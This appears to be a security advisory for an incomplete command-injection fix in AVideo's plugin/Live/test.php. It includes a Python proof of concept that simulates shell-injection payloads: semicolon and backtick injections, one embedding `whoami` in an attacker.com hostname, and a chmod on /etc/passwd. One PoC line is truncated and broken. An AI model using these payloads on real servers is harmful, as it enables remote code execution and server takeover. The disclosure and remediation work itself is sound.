Incomplete fix for CVE-2026-33502: Command Injection in AVideo

High **DanielnetoDotCom** published **GHSA-pq8p-wc4f-vg7j** last week

Software

AVideo

Affected versions

< commit 1e6cf03e93b5

Patched versions

>= commit 1e6cf03e93b5

Description

Summary

The incomplete fix for AVideo's `test.php` adds `escapeshellarg` for wget but leaves the `file_get_contents` and `curl` code paths unsanitized, and the URL validation regex `/^http/` accepts strings like `httpevil.com`.

Affected Package

- **Ecosystem:** Other
- **Package:** AVideo
- **Affected versions:** < commit `1e6cf03`
- **Patched versions:** >= commit `1e6cf03`

Severity

High

CWE

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Details

The vulnerable `wget()` function in `plugin/Live/test.php`:

```
function wget($url, $filename) {
    $cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
    exec($cmd);
}
```

Neither `$url` nor `$filename` is passed through `escapeshellarg()`. The URL validation uses `preg_match("/^http/", $url)` which:

- Does not require `://` (matches `httpevil.com`)
- Does not block shell metacharacters (`;`, backticks, `$()`)
- Does not validate the URL is actually a URL

A payload like `http://x; id > /tmp/pwned; echo` passes the regex and injects arbitrary commands via the semicolons.

The fix adds `escapeshellarg()` for the wget path and an `isAllowedStatsTestURL` allowlist, but `url_get_contents()` (used by the same endpoint) still follows redirects without validation. The wget-specific fix does not protect the `file_get_contents` and `curl` code paths that handle the same user-supplied URL.

PoC

```
"""
CVE-2026-33502 - Command injection in AVideo plugin/Live/test.php

Tests REAL vulnerable code from:
  plugin/Live/test.php (commit pre-1e6cf03)

The vulnerable wget() function at the end of test.php:
  $cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate";
  exec($cmd);

No escapeshellarg() is used on $url or $filename parameters.
The URL validation regex /^http/ is also weak (matches "httpevil.com").
"""

import re
import sys
import os
import subprocess

src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src')
src_content = open(os.path.join(src_dir, 'test.php')).read()

print("=" * 60)
print("CVE-2026-33502: AVideo Command Injection PoC (Real Source)")
print("=" * 60)
print()
```

```
has_weak_regex = bool(re.search(r'preg_match\("/\^http/"', src_content))
has_unsanitized_wget = 'wget --tries=1 {$url} -O {$filename}' in src_content
has_escapeshellarg = 'escapeshellarg' in src_content
has_exec = 'exec($cmd)' in src_content
has_auth_check = 'User::isAdmin()' in src_content

print("[*] Source: plugin/Live/test.php (pre-fix)")
print("[*] Weak URL regex /^http/: " + str(has_weak_regex))
print("[*] Unsanitized wget command: " + str(has_unsanitized_wget))
print("[*] escapeshellarg used: " + str(has_escapeshellarg))
print("[*] exec() used: " + str(has_exec))
print("[*] Authentication check: " + str(has_auth_check))
print()

def extract_wget_function():
    match = re.search(r'function wget\(.*?\n\}', src_content, re.DOTALL)
    if match:
        return match.group(0)
    return None

wget_func = extract_wget_function()
if wget_func:
    print("[*] Extracted real wget function:")
    for line in wget_func.split('\n'):
        print("    " + line)
    print()

def simulate_url_validation(url):
    if not url or url == "php://input":
        return False
    if not re.match(r"^http", url):
        return False
    return True

def simulate_vulnerable_wget_cmd(url, filename):
    cmd = f"wget --tries=1 {url} -O {filename} --no-check-certificate"
    return cmd

print("[*] Testing command injection payloads:")
print()

vuln_count = 0

payload = "http://x; id > /tmp/pwned; echo "
valid = simulate_url_validation(payload)
cmd = simulate_vulnerable_wget_cmd(payload, "/tmp/test123")
print(f"  Payload: {payload}")
print(f"  Passes regex: {valid}")
print(f"  Generated command: {cmd}")
if valid and '; id' in cmd:
    print("  Result: COMMAND INJECTION - 'id' will execute")
    vuln_count += 1
print()

payload2 = "http://x`whoami`.attacker.com/test"
```

```
valid2 = simulate_url_validation(payload2)
cmd2 = simulate_vulnerable_wget_cmd(payload2, "/tmp/test456")
print(f"  Payload: {payload2}")
print(f"  Passes regex: {valid2}")
print(f"  Generated command: {cmd2}")
if valid2 and '`whoami`' in cmd2:
    print("  Result: COMMAND INJECTION via backticks")
    vuln_count += 1
print()

payload3 = "httpevil.attacker.com"
valid3 = simulate_url_validation(payload3)
print(f"  Payload: {payload3}")
print(f"  Passes regex: {valid3}")
if valid3:
    print("  Result: WEAK REGEX - 'httpevil.com' matches /^http/")
    vuln_count += 1
print()

cmd4 = simulate_vulnerable_wget_cmd("http://legit.com", "/tmp/test; chmod 777 /etc/passw
print(f"  Filename injection command: {cmd4}")
if '; chmod' in cmd4:
    print("  Result: FILENAME INJECTION possible")
    vuln_count += 1
print()

if not has_auth_check:
    vuln_count += 1
    print("[*] No authentication required to reach test.php")
print()

if vuln_count > 0 and has_unsanitized_wget:
    print("VULNERABILITY CONFIRMED")
    sys.exit(0)
else:
    print("VULNERABILITY NOT CONFIRMED")
    sys.exit(1)
```

Steps to reproduce:

1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test`
2. `cd /tmp/AVideo_test && git checkout 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3~1`
3. `python3 poc.py`

Expected output:

```
VULNERABILITY CONFIRMED
wget() uses unsanitized $url in shell command via exec(), and the URL regex /^http/
is too weak to prevent injection.
```

Impact

An unauthenticated attacker can achieve remote code execution on the AVideo server by sending a crafted URL to `plugin/Live/test.php` that injects shell commands via semicolons or backticks in the wget command line. This grants full server compromise -- the attacker can read database credentials, install backdoors, or pivot to internal systems.

Suggested Remediation

1. Use `escapeshellarg()` on both `$url` and `$filename` in the `wget()` function.
2. Strengthen the URL regex to require `^https?://` and reject shell metacharacters.
3. Add authentication (`User::isAdmin()`) to the `test.php` endpoint.
4. Apply `escapeshellarg()` consistently across all code paths (wget, curl, file_get_contents).

References

- Incomplete fix commit: `1e6cf03`
- Original CVE: CVE-2026-33502

Severity

High

CVE ID

CVE-2026-41064

Weaknesses

▶ CWE-78